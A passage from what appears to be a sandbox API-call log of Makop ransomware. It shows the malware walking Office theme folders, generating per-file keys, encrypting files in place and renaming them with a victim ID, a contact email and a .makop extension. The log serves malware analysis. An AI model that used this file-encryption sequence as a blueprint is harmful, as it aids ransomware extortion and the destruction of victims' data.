| out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.041] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.041] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.041] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.041] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.041] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.041] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.042] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6a29, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6a29, lpOverlapped=0x0) returned 1 [0100.043] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6a30, dwBufLen=0x6a30 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6a30) returned 1 [0100.044] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.044] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6a30, lpOverlapped=0x0) returned 1 [0100.044] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.044] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.044] SetEndOfFile (hFile=0x138) returned 1 [0100.051] GetProcessHeap () returned 0x48a0000 [0100.051] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.051] GetProcessHeap () returned 0x48a0000 [0100.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.052] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0100.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.053] CloseHandle (hObject=0x138) returned 1 [0100.053] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0100.053] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.054] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0100.054] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA") returned 62 [0100.054] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*") returned 66 [0100.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.056] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.056] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0100.056] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0100.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.057] GetProcessHeap () returned 0x48a0000 [0100.057] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.057] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.057] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.057] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0100.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.061] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.061] GetProcessHeap () returned 0x48a0000 [0100.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.061] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.061] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.061] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.061] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.062] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.062] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.062] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.062] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.062] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.062] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.062] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8a1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x8a1, lpOverlapped=0x0) returned 1 [0100.063] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8b0) returned 1 [0100.063] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.063] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8b0, lpOverlapped=0x0) returned 1 [0100.063] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.063] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.063] SetEndOfFile (hFile=0x138) returned 1 [0100.070] GetProcessHeap () returned 0x48a0000 [0100.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.070] GetProcessHeap () returned 0x48a0000 [0100.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.070] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0100.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.072] CloseHandle (hObject=0x138) returned 1 [0100.073] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0100.073] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM") returned 73 [0100.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.075] GetProcessHeap () returned 0x48a0000 [0100.075] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.075] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.075] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.075] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0100.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.080] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.080] GetProcessHeap () returned 0x48a0000 [0100.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.080] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.080] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.080] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.080] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.080] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.080] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.081] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.081] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.081] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.081] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.081] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd59f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd59f, lpOverlapped=0x0) returned 1 [0100.083] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd5a0, dwBufLen=0xd5a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd5a0) returned 1 [0100.084] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.084] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd5a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd5a0, lpOverlapped=0x0) returned 1 [0100.084] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.085] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xd664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.085] SetEndOfFile (hFile=0x138) returned 1 [0100.092] GetProcessHeap () returned 0x48a0000 [0100.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.093] GetProcessHeap () returned 0x48a0000 [0100.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.093] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0100.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.097] CloseHandle (hObject=0x138) returned 1 [0100.097] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0100.097] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF") returned 73 [0100.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.098] GetProcessHeap () returned 0x48a0000 [0100.098] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.098] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.098] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.098] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0100.104] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.104] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.104] GetProcessHeap () returned 0x48a0000 [0100.104] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.104] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.104] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.104] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.104] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.104] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.105] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.105] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.105] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.105] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.105] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1e4, lpOverlapped=0x0) returned 1 [0100.105] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1f0) returned 1 [0100.106] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.106] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1f0, lpOverlapped=0x0) returned 1 [0100.106] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.106] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.106] SetEndOfFile (hFile=0x138) returned 1 [0100.112] GetProcessHeap () returned 0x48a0000 [0100.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.112] GetProcessHeap () returned 0x48a0000 [0100.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.113] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0100.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.116] CloseHandle (hObject=0x138) returned 1 [0100.116] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: 